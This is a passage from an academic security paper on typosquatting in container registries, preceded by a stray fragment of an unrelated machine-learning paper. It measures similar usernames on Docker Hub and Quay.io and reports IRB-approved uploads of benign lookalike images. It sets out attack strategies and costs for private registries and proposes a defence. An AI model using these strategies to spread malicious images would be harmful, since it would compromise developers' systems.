c)). Gathering them all, we optimize

the following objective on unlabeled instances:

minW Exu∼peasy
c (xu)

Ey∼gW∗
(xu)

[log p(y|gW (xu)) ·Var(y)]
(12)

where gW ∗
(·) is the teacher model (optimal model in the

last teacher-student iteration). Note that Eq. 12 equals to
weighting the BALD selected instances with log( −1

Var(y) ). This
weighting scheme emphasizes those instances with low vari-
ance results predicted by T dropout sampled models.
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Abstract
With the increasing popularity of containerized applications,
container registries have hosted millions of repositories that
allow developers to store, manage, and share their software.
Unfortunately, they have also become a hotbed for adversaries
to spread malicious images to the public. In this paper, we
present the first in-depth study on the vulnerability of con-
tainer registries to typosquatting attacks, in which adversaries
intentionally upload malicious images with an identification
similar to that of a benign image so that users may acciden-
tally download malicious images due to typos. We demon-
strate that such typosquatting attacks could pose a serious
security threat in both public and private registries as well
as across multiple platforms. To shed light on the container
registry typosquatting threat, we first conduct a measurement
study and a 210-day proof-of-concept exploitation on public
container registries, revealing that human users indeed make
random typos and download unwanted container images. We
also systematically investigate attack vectors on private reg-
istries and reveal that its naming space is open and could be
easily exploited for launching a typosquatting attack. In addi-
tion, for a typosquatting attack across multiple platforms, we
demonstrate that adversaries can easily self-host malicious
registries or exploit existing container registries to manipulate
repositories with similar identifications. Finally, we propose
CRYSTAL, a lightweight extension to existing image manage-
ment, which effectively defends against typosquatting attacks
from both container users and registries.

1 Introduction
Container technology such as Docker has been widely

adopted in cloud computing [1–4], edge computing [5], high-
performance computing [6], and serverless computing [7, 8]
for its favorable multi-tenancy isolation [9], near-native perfor-
mance [10], and excellent support on continuous integration/-
continuous delivery (CI/CD) [11]. One of the distinct features
is that Docker wraps applications and their dependencies (e.g.,
code, runtime, system tools and libraries) into an image, en-
abling fast software delivery and easy portability. This attracts

developers to publish images on container registries for main-
taining and managing images. Many enterprises, including
Docker Hub, Google, and Amazon, provide container registry
services targeting both open-source community and private
software developers. For example, Docker Hub, one of the
largest container registries in the market, maintains hundreds
of terabytes of data with a growing rate of about 1,500 new
public repositories (i.e., one or more versions of a specific
Docker image) daily [12].

With the ever-increasing demand of container services, se-
curity incidents inevitably exist in container registries. Users
might immediately suffer various attacks if they download
and execute malicious container images. It has been reported
that 60% of the organizations utilizing containers are affected
by container security issues [13]. In 2018, Docker Hub uncov-
ered 17 malicious images containing backdoors for mining
cryptocurrency using a victim’s system [14]. These images
attract more than 5 million pull counts, accumulating approx-
imately $90,000 worth of cryptocurrency for attackers. Palo
Alto Networks [15] has reported 117 unsecured container reg-
istries on the market, allowing unauthorized push, pull, and
delete operations on their hosted repositories. Adversaries
can also infect victims’ systems by deploying images with
malicious code or directly downloading malicious software
during runtime [16].

One prerequisite for the threats above is that adversaries
need to trick users to download malicious images on registries.
This is not a simple task, as registries (e.g., Docker Hub) often
rank the images based on the download counts, and users also
tend to pull those popular images. However, we reveal a new
vulnerability that adversaries can exploit to easily distribute
malicious images at a low cost by abusing the typosquatting
in container registries. In particular, container registries utilize
a fully qualified image identification (FQID) to identify an
image. Users also rely on this unique identity to pull images
from registries. Adversaries can create an FQID similar to
those of benign images, and then users could accidentally
download malicious images if they make a typo. Such a ty-
posquatting attack on popular images could pose a serious
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threat of spreading malicious container images.
In this paper, we systematically investigate the feasibility

of launching typosquatting attacks on container registries in
three scenarios: public registries, private registries, and across
platforms. To form the basis, we first conduct a measurement
study on two widely used public registries, Docker Hub and
Quay.io, to understand the existing image naming mechanism.
We discover that tens of thousands of repositories have re-
markably similar FQIDs, implying that the current naming
system of container registries is vulnerable to typosquatting.
To demonstrate the severity of typosquatting, we further con-
sider five types of common typosquatting and upload about
4,000 typosquatting images targeting 10 usernames in Docker
Hub with the approval from the Internal Review Board (IRB)
of our institution. We observe that our typosquatting images
are constantly downloaded by users, and attract more than
40,000 pull counts by the end of a 210-day experiment. Mean-
while, out of 10 targeted users, only one user’s typosquatting
images (contributing 3,867 downloading counts) are deleted
by the Docker Hub on day 105. Such an observation indi-
cates that typosquatting attacks pose a serious threat to public
registries.

We further uncover attack vectors in private registries, ex-
ploiting the image management policy adopted by five large
private registries. The typosquatting attacks might happen
involving both the project-ID (e.g., username) of the image
identification and the region code defined by each registry. We
find that most existing private registries allow users to directly
name their repositories, and thus adversaries can intentionally
upload images with the exact same image name but typosquat
their project-IDs similar to that of an existing repository. We
also conduct a 60-day experiment demonstrating that the ty-
posquatting attacks could pose security threats to private reg-
istries. In addition, the typosquatting attack might also occur
across different registries. Particularly, users may uninten-
tionally obtain container images from undesired registries
when they mistype or forget to provide the hostname of the
image FQIDs. Adversaries can then exploit it by registering
typosquatting domain names and host malicious registries.

Finally, we propose a lightweight defense system named
CRYSTAL (Container RegistrY SquaTting ALarm) to mit-
igate the container registry typosquatting threat from both
registry and user sides. Specifically, CRYSTAL can be used
on the registry end to detect potentially conflicting user-
names. Based on the detection result, registries can prevent
co-existence of similar usernames. The same process can also
be utilized on the user end to inform users about the potential
conflicting and typosquatting image names by executing an
FQID comparison and keyword search prior to the download-
ing process. It enables users to further confirm the FQIDs of
their desired images. We develop a prototype on the user end
based on top of the Docker pull command and evaluate the
tool on Docker Hub. The evaluation results show that CRYS-
TAL can achieve high accuracy with minimal overhead.

2 Background

2.1 Container Registry
Container registry serves as a centralized storage that al-

lows many users to facilitate, manage, and share their images.
In this paper, we focus on Docker containers where users
interact with a registry by using the Docker Command-Line
Interface (CLI). Particularly, for downloading container im-
ages, users issue the Docker pull command followed by the
FQID of the desired image from a configured registry.

Typically, an FQID consists of three major fields: host-
name, username (also referred to as project-ID), and image
name, with the format of example.com/username/image. The
hostname is defined by the container registry to distinguish
the hosting server. It contains a mandatory domain name of
the hosting registry and some additional information, such as
region code and account ID. Docker Hub is the default reg-
istry used by the Docker CLI. If the hostname is not specified
in the FQID, users will interact with Docker Hub directly. A
username (project-ID) serves as a unique collection of image
repositories established by users. When downloading a con-
tainer image from a registry, a user should provide the correct
FQID of the desired image.

Public Registry. Public registries, such as Docker Hub
and Quay.io, usually provide unlimited image storage for free
as long as the repositories are publicly accessible. Public
registries require developers to provide unique usernames
when registering their accounts. Users can then upload Docker
images under their unique usernames. By default, uploaded
images are set as public repositories and are free to download
by any users without any authentication or authorization.

Private Registry. Private registries have different reposi-
tory management policies. In private registries, account own-
ers are charged based on the amount of storage used to host
their images and the network bandwidth for both uploading
and downloading container images. Usually, each account
contains one or more project-IDs (similar to usernames), in
which developers can further establish image repositories.
The account owner can authorize other users to download
or modify the repositories. Some private registries also al-
low developers to make their repositories publicly available,
allowing access to the image without any authentication or
authorization.

2.2 Typosquatting
Originally, typosquatting refers to a URL hijacking attack

targeting Internet users who make typing mistakes when in-
putting domain names [17]. While significant efforts have
been devoted to understanding domain name typosquat-
ting [18, 19], the current definition of typosquatting has been
expanded to include more scenarios sharing similar attack be-
haviors and characteristics, such as email typosquatting [20]
and mobile app typosquatting [21].

36    31st USENIX Security Symposium USENIX Association



Squatting Type Example
Duplication (AD) alice ï aliice
Deletion (DE) alice ï alie
Permutation (SW) alice ï ailce
Misinterpretation (MI) alice ï a1ice
Fat-Finger (FF) alice ï alic3

Table 1: Different types of typosquatting with abbreviations
and examples.

It has been shown that people are more likely to make
typos that involve a one-character distance, also called
as Damerau-Levenshtein (DL) distance one [22]. Specif-
ically, DL-1 typos can be categorized into four com-
mon types: character-addition, character-omission, character-
permutation, and character-substitution. While the first two
types are self-explained, character-permutation refers to
swapping two adjacent characters, and character-substitution
means replacing one character in a string with another char-
acter.

Misinterpretation (MI) represents the potential incidents
when users misinterpret two characters that look like each
other. For example, users misinterpret the “l”(el) in “alice”
as “1”(one) and use “a1ice” in the download process. More
recent studies suggest that fat-finger [23] (two characters are
close to each other on the keyboard) may also yield higher
chances of typing mistakes. While other types of typosquat-
ting (e.g., the missing-dot typo [24]) are also common in many
scenarios, they are not necessarily suitable for container reg-
istry typosquatting. Many container registries, such as Docker
Hub and Quay.io, do not support special characters (such as
“.", “_", or “-") in either username or image name of FQIDs.
In this work, we only focus on typosquatting for English let-
ters and numeric numbers. Table 1 shows examples of the
different types of typosquatting considered in this paper.

3 Container Registry Typosquatting
3.1 Threat Overview

As mentioned above, to download an image from a registry,
users need to initiate a pull Docker CLI command followed
by the FQID of the target image. Some developers (e.g., devel-
opers who use Linux Server that only supports command-line
input) may download container images by manually typing
their FQIDs. These developers are vulnerable to container
typosquatting attacks.

Figure 1 presents an example of pull image
reg.com/alice/linux, representing the target image
(linux) from the desired hosting registry (reg.com) under
the username alice. The problem is that the Docker pull
command is often issued in a console environment, and thus it
is not protected by any spelling check functionality. In many
cases, it does not require any authentication or authorization
for users to pull an image. Thus, users might unintentionally

reg.com

regg.com

User Input Container Image

alice

a1ice

alice

linux

linux

linux

2

1

Normal

$ docker pull
regg.com/alice/linux

$ docker pull
reg.com/a1ice/linux

$ docker pull
reg.com/alice/linux

Figure 1: Overview of two cases of container registry ty-
posquatting.

download other images when typos are made in the FQID. In
the existing container registry infrastructure, all repositories
under the username alice are managed by the same user and
cannot be modified by others. As a result, even if a typo is
made in the image name, the user will obtain an unwanted
container image, but it will still be managed by the same
owner (e.g., alice). Unless attackers can gain access to
the account with username alice in registry reg.com, they
cannot upload malicious images. However, there are two
cases (¶· in Figure 1) in which users might pull an image
maintained by malicious developers when typos happen.

Case ¶ represents the case of when users mistype in
the username field of the FQID (a1ice instead of alice).
This pull request still reaches the desired hosting registry
(reg.com), but it enters a different username to pull the im-
age linux. If the image linux exists in a1ice, the CLI will
download the image automatically; otherwise, an error mes-
sage will be reported. Therefore, adversaries can intentionally
obtain the username a1ice to bait users to download mali-
cious images. Also, this type of typosquatting is possible in
both public and private registries.

Case · illustrates a cross-platform typosquatting scenario,
where a user makes a typing mistake in the hostname field.
The download request reaches an undesired container reg-
istry (regg.com), instead of reg.com. As a result, the user
unknowingly obtains a container image with the same name
(e.g., linux) under the same username alice, but from an
undesired registry.

Typosquatting case · can occur in existing container reg-
istries that share similar hostnames. Additionally, adversaries
can utilize previously effective domain typosquatting tech-
niques [25] to reserve a typosquatting domain hosting mali-
cious registries by themselves.

3.2 Threat Model
The goal of container registry typosquatting attacks is to

distribute malicious container images by exploiting the po-
tential typos made by container users. Adversaries attempt
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Registry Hostname Repository Username Typosquatting
Pairs

DL-1 Username DL-2 Username
Identical Image Total Identical Image Total

Docker Hub docker.io (default) 416,087 246,080 22,386 16,660 (22.1%) 75,312 37,816 (15.6%) 242,998
Quay.io quay.io 21,409 6,475 85 47 (39.5%) 119 168 (8.3%) 2,042

Table 2: Overview of public container registries.

to generate multiple typosquatting FQIDs similar to those of
existing benign images, and bait users to pull images from a
malicious repository. The target can be images in both public
and private registries, with popular images being preferable.
Adversaries can be simply normal container registry users
without any privileges/inside information, and they can uti-
lize the public information provided by the registry to select
targets. For some private registries used by teams and organi-
zations, adversaries might be one of the members who know
the FQIDs of existing images. In all cases, adversaries only
upload images into their own repositories, without compro-
mising the registry or others’ accounts.

To launch a typosquatting attack, adversaries first need
to obtain the necessary information, such as the FQIDs of
targeted (existing) images. This can be achieved by directly
browsing or searching repositories inside the existing con-
tainer registries. For example, Docker Hub allows users to
search repositories with particular names and provides the
pull count information. Adversaries can also register the tar-
get FQID in the registries to check the availability. Then,
adversaries can generate and register related typosquatting
FQIDs and further push malicious images.

Registering a username typically requires a unique and
verifiable email address, which is free to do as most email
service providers offer free email accounts. Adversaries can
also utilize disposable emails [26] for registration. To launch
a large-scale typosquatting attack, attackers can use multiple
email addresses to register many typosquatting usernames.
For some private registries or hosting attackers’ own registries,
attackers might need to pay a fee for a storage service or do-
main registration. Thus, in some scenarios, there is a cost
related to launching a container registry typosquatting attack.
However, while the cost is trivial (as discussed later), the
damage could be severe. Once tricking victims downloading
malicious images, attackers can (1) generate financial profits
(such as mining cryptocurrency using a victim’s system [14]),
(2) disclose sensitive information of the victim [9]), (3) har-
vest computing resources of the hosting server that may lead
to denial of services [27]), or even (4) take control over the
hosting server [28]).

Adversaries may further inject malicious code (e.g., back-
door) into a container image and circumvent the target reg-
istries’ checking mechanisms. While the creation of such
images is outside the scope of this paper, previous research
has shown that existing registries contain many malicious or
vulnerable images [29,30]. To make the attack even stealthier,
attackers can repackage a target image with malicious code,
so that users may not notice the difference, as the malicious

image has the exact same functionalities.

3.3 Ethics
To have a better understanding of the exploitability of ty-

posquatting threats in container registries, we conduct our ex-
periments by intentionally uploading multiple typosquatting
images to the public. Since our experiments involve human
interactions, we take ethical considerations seriously. Our ex-
periment procedure and protocols are carefully designed with
the collaboration of our institution’s Internal Review Board
(IRB) to minimize potential risks to users and ourselves.

First, our experiment procedure should not be considered
as a live phishing attempt with the use of honeypot. Watson
et al. [31] described the behavior of phishing as a technique
to lure victims into revealing personal information. Han et
al. [32] discussed the ethical issues of conducting research
with phishing honeypots. Szurdi et al. [20] studied email
typosquatting by registering typosquatting domains as hon-
eypots to collect mis-delivered emails. They examined the
content of the received emails to check if any sensitive in-
formation is included in these emails. Moreover, they sent
“honey emails” to existing typosquatting domains to scrutinize
the responses. Our experiment protocol differs from such a
procedure: we do not have access to any information about
the users who download our images, nor do we attempt to
collect any data from within our typosquatting images. We
only gather information about the pull counts of our uploaded
images. Such download statistics are available on the Docker
Hub as public information and the Google Cloud Console in
the category of registry API usage. Therefore, ethical con-
siderations of protecting sensitive information collection and
storage are not needed in our experiments.

Second, all of our experiments are conducted in legitimate
manners. We do not compromise any accounts. We register all
of our accounts legally through Docker Hub and Google Con-
tainer Registry. The image we uploaded is the latest release of
a bare-bone Ubuntu image without any modifications or code
injections. We scan our image through Docker Scan [33] and
Anchore [34], confirming that our uploaded image contains
zero security threat or CVE. We never advertise our images
anywhere and all images have no description to avoid being
searched by users. At the end of our study, we have manu-
ally deleted all of our uploaded typosquatting images and
disclosed our findings to Docker Hub and Quay.io via emails.

We acknowledge that our experiments cause inconve-
niences on users’ side, mainly waste of time and confusion.
Users waste their time if they download and execute our up-
loaded images. It might also cause a psychological effect of
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Figure 4: Number of existing typosquat-
ting username pairs for alphabets and
numeric numbers.

confusion if users are not aware of their typos. To minimize
these concerns, we carefully design our experiments by includ-
ing a clear warning message in our uploaded images, which
informs users of their typos and further provides the correct
download commands. Thus, after seeing such a warning mes-
sage, users who execute our image can correct their typos as
quickly as possible and then download the legitimate images.
In addition, our experiments can educate users about the secu-
rity risks of container registry typosquatting, increasing their
awareness of such typosquatting attacks, which is similar to
phishing training tests that have often been conducted inside
an organization.

4 Typosquatting in Public Registry
Public registries, such as Docker Hub and Quay.io, offer

free storage services, and thus attract numerous software de-
velopers to publish and share their container images. The
downstream traffic is also significant: some images reach
more than 2 billion downloads. Meanwhile, a large number
of usernames exist since each developer needs to register an
online account with a unique username. These characteristics
make public registries ideal platforms for launching container
registry typosquatting attacks (case ¶ in Figure 1).

4.1 Measurement on Public Registries
To comprehensively understand the potential occurrence of

typosquatting in public registries, we conduct a measurement
study on both Docker Hub and Quay.io. Since neither reg-
istries provide complete information of existing usernames
and images, we build several crawlers to automatically query
a large number of keywords and then record those uncovered
usernames and image repositories.

Data Collection. We use three methods for crawling: (1)
the search function provided by the Docker Hub API, which
returns a maximum of 10,000 results from Docker Hub; (2)
the Docker search CLI command that shows 100 results per
query for Quay.io; and (3) a web crawler to grab search results
from their websites directly. We obtain the keyword database
from the latest dump of all entries in Wiktionary [35], which
contains a total of 6,760,665 words, numbers, and special
characters.

We exclude common/popular image names such as “test,”
“docker,” “hello-world,” and combine the results from all meth-
ods. As listed in Table 2, in total, we find 416,087 and 21,409
container image repositories, with 246,080 and 6,475 unique
usernames in Docker Hub and Quay.io, respectively. The red
solid line in Figure 2 illustrates the CDF for the number of pull
counts of all our mined images, with about 1.8% of images
downloaded more than 100k times.

Results and Analysis. Table 2 presents the analysis on DL
distances for both registries. We find 75,312 username pairs in
Docker Hub and 119 pairs in Quay.io that meet the condition
of DL-1. The green dotted line in Figure 2 represents the CDF
distribution for the number of pull counts of those images with
DL-1 (referred to as typosquatting images). The distribution
is similar to that of all mined images, showing that some of
those DL-1 images are popular. Specifically, within those
identified username pairs, 16,660 in Docker Hub and 47 in
Quay.io contain at least one image repository with an identical
name. We conduct vulnerability scanning using docker scan
and Anchore to further investigate these images. The scanning
result reveals that 4,861 (29.1%) images in Docker Hub and
11 images (23.4%) in Quay.io contain at least one medium
or high severity CVE. The existence of these DL-1 container
images could potentially pose high security risks to users who
obtain an unwanted image if typos are made.

Within the 75,312 DL-1 username pairs in Docker Hub,
there are 22,386 pairs that fall into the five different types of
typosquatting: duplication (AD), deletion (DE), permutation
(SL), misinterpretation (MI), and fat-finger (FF). Figure 3
shows the number of usernames corresponding to each type
of DL-1 typosquatting. We find that fat-finger has the most
affected cases. Furthermore, Figure 4 shows the frequency
of all English letters and numeric numbers involved in the
existing DL-1 username pairs. In general, the occurrence
of affected English letters is significantly larger than that of
affected numeric numbers. The top 8 most affected alphabets
{a,i,s,e,r,t,o,n} account for 34,841 or 46.3% of the total
number of DL-1 username pairs.

In addition, we expand our analysis to include the occur-
rence of DL-2 and present the results in Table 2. Compared
to DL-1, the total number of username pairs with DL-2 is
significantly larger, with 242,998 in Docker Hub and 2,042
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count of our uploaded images during a
210-day experiment.
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Figure 7: Total pull counts for five types
of typosquatting.

in Quay.io. For image repositories with DL-2 FQIDs, we
uncover 37,816 and 168 pairs in Docker Hub and Quay.io,
respectively. To conclude, these measurement results demon-
strate that typosquatting attacks could pose a serious threat in
current public container registries.

4.2 Exploitation
We further conduct a proof-of-concept exploitation exper-

iment to demonstrate the severity of a container registry ty-
posquatting attack in public registries. We target 10 existing
Docker Hub usernames and create multiple typosquatting
usernames with an exact same image name. Then we upload
Ubuntu images and track the pull counts on a daily basis
to check whether users download our images. The experi-
ment lasts 210 days. Overall, we observe a total of 40,009
pull counts for 4,787 uploaded images. For 10 target user-
names, only one username is detected by Docker Hub; all
the typosquatting usernames related to that single target are
removed on day 105.

Methodology. The first task is to select target usernames
for launching typosquatting attacks. To maximize the proba-
bility of our uploaded images being downloaded, we heuristi-
cally choose two criteria for selecting usernames: (1) at least
one container image reaches a pull count of 10 million or
more, and (2) at least 20% of the container images are up-
dated within a one-week period. In total, we identify 2,436
usernames that meet the requirements, and we randomly se-
lect 10 of them as our target usernames.

Next, we generate typosquatting counterparts for the 10 tar-
get usernames. We generate two typosquatting usernames in
each of the five types of typosquatting mentioned in Section 2
(i.e., AD, DE, SW, MI, and FF). Particularly, we randomly
choose characters and perform the corresponding modifica-
tions. Then, for each image under 10 target usernames, we
upload our bare-bone Ubuntu images with the exact same
repository (image) name. In total, we generate 100 typosquat-
ting usernames and upload 4,787 images on Docker Hub with
typosquatting FQIDs. We record cumulative pull counts on
daily basis using the Docker Hub registry API.

Results and Analysis. Our experiment lasts 210 days. In
total, we record 40,009 pull counts for our uploaded images.

While the highest downloading count reaches more than
1,000, most images are pulled less than 5 times. Such an
observation indicates that the number of intentional pulling
of our uploaded images (from particular organizations or re-
searchers who might constantly pull images from Docker
Hub) is small (if any). On day 105, we find that 10 of our
typosquatting usernames are deleted by Docker Hub, along
with all 1,290 images under those usernames. Those 1,290
images contribute 3,867 downloading counts. Looking into
the details of those 10 usernames, we confirm that all deleted
typosquatting usernames are targeting a single username. The
fact that these usernames are removed indicates that Docker
Hub might have realized the attack behavior and thus have
taken proper actions. However, all other typosquatting user-
names (with images pulled 36,142 times) targeting the other
nine usernames remain active. This result suggests that a
container registry typosquatting attack is difficult to detect.

Figure 5 shows the trend of the total pull count as well
as a detailed breakdown of its daily increases. Overall, the
cumulative pull count indicates a linear increase trend. This
observation is reasonable and expected, since the occurrence
of users mistyping a character in the username field of FQID
should be random. We also observe that the daily increase
has multiple spikes: there are hundreds of pulls on some days.
For example, on day 27, we record the daily increase with a
total of 641 downloads. A breakdown of these 641 download
shows that 33 images are downloaded three times, 45 images
are downloaded two times, and the rest are downloaded once.
Another example is on day 70, we record 834 total downloads,
in which 278 downloads are generated by a single image.
While the root cause of those phenomenons remains unknown,
one possible explanation is that users keep pulling the image
because the downloaded image does not function as expected
and they fail to catch the typos.

Figure 6 presents the CDF distribution of our uploaded
images with respect to the number of pull counts. Of all up-
loaded images, 37 images have more than 100 pull counts by
the end of our experiment. In total, these 37 images account
for 10,209 of the total number of pull counts (about 25.5%),
with the largest one being pulled 1,094 times. To investigate
the reason that these images are particularly attractive, we
further check the characteristics of their targeting repositories.
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We find that 35 out of 37 targeting images are updated on a
daily basis. Also, four of them have pull counts of more than
100 million, two images are pulled more than 5 million times,
and the rest also have at least 100k pull counts. Meanwhile,
about 80% of our uploaded images have pull counts of less
than 10. However, these images still attract 21,614 pull counts
or 54% of the total number of pull counts. Even when tar-
geting less popular benign images, typosquatting container
repositories might still be downloaded due to random typ-
ing errors. Those results suggest that popular and frequently
updated images are more attractive targets for launching a
container registry typosquatting attack. Meanwhile, our target
images cover many aspects, with different username length
and different base platform (e.g., Ubuntu, Java, and SQL re-
lated). However, we observe that, except for image popularity
and update frequency, other characteristics have little impact
on the effectiveness of typosquatting attacks, implying that
typos occur randomly when downloading container images.

Furthermore, Figure 7 breakdowns the pull counts of five
typosquatting types (i.e., AD, DE, SW, MI, and FF). We find
that usernames with character-omission (DE) typosquatting
attract the largest percentage (29.7%) of user downloads, in-
dicating that users are more likely to miss characters when
typing the image FQIDs. Meanwhile, the download counts
for the other four types are relatively equivalent, with the oc-
currence rate between 16% to 18%, which are still alarming
numbers. Overall, while our experiments are small scale tar-
geting only 10 usernames, the result still suggests that the
container registry typosquatting attack is indeed effective in
tricking users into downloading unwanted images.

Background Noise. Our approach might record user down-
loads that are not caused by typing mistakes (e.g., random
image crawling). To understand the impact of the background
noise on our 210-day experiment, we attempt to find the
existence of images with only a few or no downloads but
listed for a long time. If the background noise is large, we
expect to observe only a very small number of such images
existed in Docker Hub, as most images will be affected by the
background noise. We examine the download counts of exist-
ing container images that are listed for more than 7 months,
since our images were placed in Docker Hub for exactly 7
months. In total, we have identified 61,757 images that are
listed longer than 7 months. Among them, a large number
of images (14,160, 23%) have less than 2 downloads. More
specifically, 8,904 images (14.5%) have been downloaded
only once (we believe one is a reasonable number as develop-
ers might download their images once for testing), and 5,256
images (8.5%) have no download at all. This result indicates
that our recorded pull counts in the 210-day experiment are
less likely caused by random crawling.

Furthermore, we conduct an additional experiment as a con-
trol group of our exploitation study. In this experiment, we
target the same set of 10 container images used in our 210-day
experiments. For each of the 10 target container images, we

generate 3 different usernames using DL distances of 3, 4,
and 5, respectively, leading to 30 images in total. Also, we up-
load another 10 images with randomly generated usernames.
We monitor the download counts of these 40 images for 100
days. The result shows that the images containing DL-3, 4,
and 5 usernames attract an average of 0.57 downloads per
image with a total download count of 17; the 10 images with
randomly generated usernames receive 5 downloads in total,
with an average of 0.5 downloads per image. For compari-
son, on day 100 of our exploitation experiment, we record
17,076 download counts for the 4,787 images that we upload
to Docker Hub, with an average of 3.57 downloads for each
DL-1 typosquatting image. Such a result confirms that the
background noise during our download collection is low. It
further demonstrates that users are more likely to make DL-1
typing errors, and thereby DL-1 typosquatting images attract
more user downloads.

Cost Analysis. Finally, we discuss the cost for launching
the container registry typosquatting attack in public registries.
The attacks generally require three steps: (1) acquire infor-
mation of targets; (2) generate typosquatting usernames by
registering accounts; and (3) store images in public registries.
The first step has no cost as all information is available on-
line. The account registration requires adversaries to have a
large number of email addresses, as both Docker Hub and
Quay.io use valid, unique, and verifiable email addresses as
account identities. Since many email service providers (like
Gmail or Hotmail) are free, attackers can easily obtain many
valid email addresses. Users can also utilize temporary email
addresses such as disposable email services [26] for account
registration. Thus, the cost for obtaining accounts in public
registries is still zero. Finally, all of the image repositories
hosted in public registries are free of charge. As a result,
we conclude that the financial cost for launching container
registry typosquatting attacks is zero.

5 Typosquatting in Private Registry
Many private registries allow users to open or share reposi-

tories, thus making a typosquatting attack possible. We inves-
tigate the potential typosquatting opportunities in five existing
private registries (listed in Table 3).

5.1 Attack Vectors
Typosquatting threats, as shown in cases ¶ and · of Fig-

ure 1, might also exist in private registries. Attackers can in-
tentionally upload images to private registries with typosquat-
ting FQIDs. While private registries have different project-ID
management policies, our investigation reveals three potential
attack strategies to achieve DL-1 typosquatting FQID.

User-defined Project-ID Typosquatting. Launching a ty-
posquatting attack in private registries with user-defined
project-IDs is fairly straightforward. Once attackers iden-
tify their targeting project-IDs, they can generate a swarm of
typosquatting counterparts in the same private registry and
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Registry Hostname Project-ID Permitted Characters Region Search Public Price /10GB/year

Alibaba registry.[region].aliyuncs.com User Define Alphabet, Number,“_",“-" 3 3 3 0
Amazon [client_id].dkr.ecr.[region].amazonaws.com Random Number 3 7 7 $12
Azure [username].azurecr.io User Define Alphabet, Number, “_",“-",“.",“/" 7 7 7 $61
Google [region].gcr.io User Define Alphabet, Number, “-" 3 7 3 $3.12
IBM [region].icr.io User Define Alphabet, Number, “_",“-" 3 7 3 $6

Table 3: Overview of private container registry.

upload their malicious images. In this study, we systemati-
cally investigate the possibility of project-ID typosquatting in
four of the private container registries that allow users to cus-
tomize their project-IDs, including Alibaba, Microsoft Azure,
Google, and IBM.

We obtain 407 unique project-IDs from Alibaba Container
Registry, and 158 unique project-IDs in Azure Registry. In
Google Container Registry, we find a total of 407 occupied
project-IDs. For IBM Container Registry, we focus on the
us.icr.io server and find 584 project-IDs. We randomly se-
lect 50 project-IDs from each registry for further testing. For
each selected project-ID, we generate a full list of potential
DL-1 project-IDs satisfying the five types of typosquatting
shown in Table 1. This list covers all DL-1 project-IDs that
can potentially be used to launch a project-ID typosquatting at-
tack. In total, we generate 35,861, 32,629, 25,183, and 29,636
project-IDs in Alibaba, Azure, Google, and IBM, respectively.
For Azure, Google, and IBM, we use the same trial-and-error
approach in the data collection procedure to check the ex-
istence of our generated project-IDs. For Alibaba, since the
search functionality cannot reveal any project-IDs in private
repositories, we also employ the trial-and-error approach to
check the existence of our typosquatting project-IDs.

Figure 8 shows the percentage of the available typosquat-
ting project-IDs that we generate in each registry. In all four
private registries, we observe that more than 90% of the DL-1
project-IDs are available for registration. With a large percent-
age of availability, attackers can intentionally register many
typosquatting project-IDs to host malicious images, and there-
fore, any users who accidentally download these malicious
images could be at risk for system compromisation due to
typing mistakes.

Randomly Generated Project-ID Typosquatting.
Whereas registries including Alibaba, Azure, Google, and
IBM allow users to customize the names of project-IDs,
Amazon uses a randomly generated 12-digit client-ID as the
project-ID for each user. With this policy adopted, attackers
can repeatedly create a large amount of accounts and hope
that some of them satisfy the DL-1 typosquatting preference.
We attempt to investigate the practicality of launching
project-ID typosquatting attacks on Amazon.

In order to generate a large number of AWS accounts in
Amazon, we first register a piloting AWS account and estab-
lish an organization group inside our account. This allows us
to create more Amazon accounts using the AWS Command-
Line Interface so that the whole process can be automatically
streamlined using a script. We raise the limitation of the total

allowed users in our organization to 20,000 by contacting
AWS customer services. Using the increased user quota, we
spawn 20,000 AWS accounts within our organization.

We compare and calculate the DL distance across all possi-
ble client-ID pairs from the 20,001 obtained client-IDs. Fig-
ure 9 shows the number of client-IDs pairs we obtained with
a DL distance less than 6. Unfortunately, we do not obtain
any DL-1 client-IDs, and the closest distance we achieved is
DL-2, with only one client-ID pair. Given the low probability
of obtaining DL-1 pairs, we conclude that it is difficult for
attackers to launch attacks in private registries using randomly
generated project-IDs.

Region Typosquatting. Many private registries allow
users to choose a specific data center location to host their
container repositories. A unique region code is used to rep-
resent the location information inside the hostname. Users
are expected to correctly type the region codes (and the rest
of the FQID fields) to obtain the desired images. Thus, if a
registry utilizes a similar, preferably DL-1, region codes, it
might be vulnerable to region typosquatting attacks.

We conduct a case study on the IBM Container Registry,
which contains five regions that are widely spread across
the world, including two data centers in Asia Pacific, one
in Europe, one in the U.K., and another one in the U.S. In
particular, the U.K. data center is assigned with hostname
uk.icr.io, and the US data center uses a very similar one,
us.icr.io. Apparently, these two URLs contain DL-1 region
codes. Further analysis shows that, within the 584 project-
IDs we identify in IBM Container Registry, 132 usernames
exist in both regions, which account for 76.3% in uk.icr.io
and 22.6% in us.icr.io. This result indicates that users
who mistype the region code of those 132 usernames may
unintentionally pull unwanted images from another region of
the registry.

5.2 Proof-of-Concept Exploitation
We also attempt to evaluate the feasibility and effective-

ness of launching typosquatting attacks on private registries.
As mentioned in the threat model, since enterprises typically
isolate their container images from the public, the key infor-
mation about target images, such as the popularity, total down-
load count, and latest update time, is not publicly available.
As a result, the scale of our experiment in private registries is
limited. To launch effective attacks, attackers might be one of
the internal members who can obtain an insider’s knowledge
(e.g., FQIDs of existing images and relevant information).
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With the IRB approval, we conduct a 60-day experiment
targeting the official container images provided by Google.
We randomly select 10 images and generate 100 DL-1 user-
names with typosquatting categories, including AD, DE, SW,
MI, and FF. We use the same Ubuntu image mentioned in Sec-
tion 4 for the typosquatting image. We record 62 pull counts
for our uploaded images, with the highest download count of
14. We further conduct a control group experiment in which
we upload 50 typosquatting images with DL-3 usernames and
50 images with randomly generated FQIDs. At the end of
our 60-day experiment, we record 6 downloads for these 100
images.

Overall, the results of the two experiments demonstrate
that private registries are also vulnerable to typosquatting
attacks, and the images with DL-1 usernames attract more
user downloads.

5.3 Cost Analysis
The cost primarily depends on the financial policy adopted

by each registry. Alibaba provides an always-free service
for hosting container repositories. Thus, the financial cost of
launching a typosquatting attack on Alibaba is zero. Other reg-
istries listed in Table 3, including Azure, Google, and IBM,
charge a service fee based on the amount of storage used
to host container repositories, as well as the network traffic
induced by downloading container images. Since container
images are usually lightweight and range from tens to hun-
dreds of megabytes (our testing image is only 20MB), we take
an image with 100MB as an example. The price for hosting
one image for one year is $0.031, $0.61, and $0.06 for Google,
Azure, and IBM, respectively. Compared with the potential
financial gains, the cost is relatively low and affordable.

6 Typosquatting Across Platforms
Cross-platform typosquatting may happen when users pull

images from a different registry. This scenario is shown as
case · in Figure 1.

6.1 Hostname Typosquatting
